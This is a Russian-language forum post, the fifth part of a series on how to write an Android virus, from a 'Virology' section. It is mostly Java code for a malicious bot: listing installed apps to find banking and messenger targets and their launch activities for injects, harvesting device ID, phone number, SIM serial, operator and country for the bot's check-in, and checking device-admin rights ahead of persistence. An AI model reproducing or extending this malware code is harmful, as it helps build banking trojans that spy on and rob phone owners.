Как написать вирус для Андроид. Часть 5

Тема в разделе "Вирусология", создана пользователем Admin, 10 окт 2016.

  1. Admin

    Admin Голова лаборатории

    Сообщения:
    529
    Симпатии:
    341
    Доброго времени суток, в предыдущих статьях мы рассмотрели основные моменты и теперь должны понять как вести себя внутри телефона. Для этого нужно знать: списки установленных приложений, месенджеров, банков и так далее.
    Первым делом окинем взором окрестности, напишем простой и незамысловатый код:
    Код:
    PackageManager pm = cnt.getPackageManager();
    List<ApplicationInfo> packages = pm.getInstalledApplications(PackageManager.GET_META_DATA);
    for (ApplicationInfo packageInfo : packages) {
       try{   
           //packageInfo.packageName
           //packageInfo.sourceDir
           //pm.getLaunchIntentForPackage(packageInfo.packageName)
       } catch (JSONException e) {
       }
    }
    packageInfo.packageName – это имя пакета
    packageInfo.sourceDir – путь к корневой папке приложения
    pm.getLaunchIntentForPackage (packageInfo.packageName) – имя запускаемой
    Activity, очень важный параметр для инжектов, мы это опишем в дальнейших частях.

    Этой информации будет достаточно, чтобы понять какие и где стоят приложения. Если рассмотреть класс packageInfo, там будет больше информации, но она не особо интересна. В реальном коде Try и JSONException использовать не обязательно.

    Собираем информацию о системе
    Создаем объект телефонного менеджера.
    Код:
    TelephonyManager tm = (TelephonyManager)context.getSystemService(context.TELEPHONY_SERVICE);
    Код:
    tm.getDeviceId()
    Возвращает ID устройства, который можно использовать в отстуке, так как это уникальное значение для каждого аппарата, которое нельзя изменить.
    Код:
    tm.getNetworkCountryIso()
    Получаем страну устройства
    Код:
    tm.getSimOperatorName()
    Получаем сотового оператора.
    Код:
    android.os.Build.VERSION.RELEASE
    Очень важный параметр, вам придется его часто использовать. Почему? Некоторые фишки работают только для 2.х или 4.хтелефонов. И нам придется разграничивать из вручную. Может быть так, что системная функция устарела, или изменила число параметров. В этом случае мы прибегаем к SDK и параметру.

    Пример:
    Код:
    if(Build.VERSION.SDK_INT >= 19) {
    //работаем с версией 4.х
    }else{
    //работаем с версией 2.х
    }
    
    Код:
    android.os.Build.MODEL
    Получаем модель устройства, важный параметр, ибо чем сложнее бот, тем больше приходится учитывать специфику разных прошивок.
    Код:
    tm.getLine1Number()
    Параметр иногда возвращает номер телефона, иногда нет. Нужен для идентификации самого абонента. Так же по номеру можно узнавать город и оператора.
    Код:
    tm.getSimSerialNumber()
    Серийный номер сим карты.
    Будьте бдительны, последние два параметра указаны для телефонов с 1 сим-картой. Для двух, команды похожие, но это нужно контролировать.

    Рассмотрим проверку, есть ли у нас права администратора. Само получение оставим до следующих статей про закрепление.
    Код:
    DevicePolicyManager deviceManager = (DevicePolicyManager) context.getSystemService(context.DEVICE_POLICY_SERVICE);
    ComponentName componentName = new ComponentName(context, CAdm.class);
    if (!deviceManager.isAdminActive(componentName)) {
    //нету админа
    }else{
    //есть админ
    }
    Это минимальный список параметров, которые мы должны обязательно обработать, чтобы правильно принимать решение в среде чужого телефона. Обычно их включают в отстук и они могут измениться. Поэтому проверяй-те их почаще.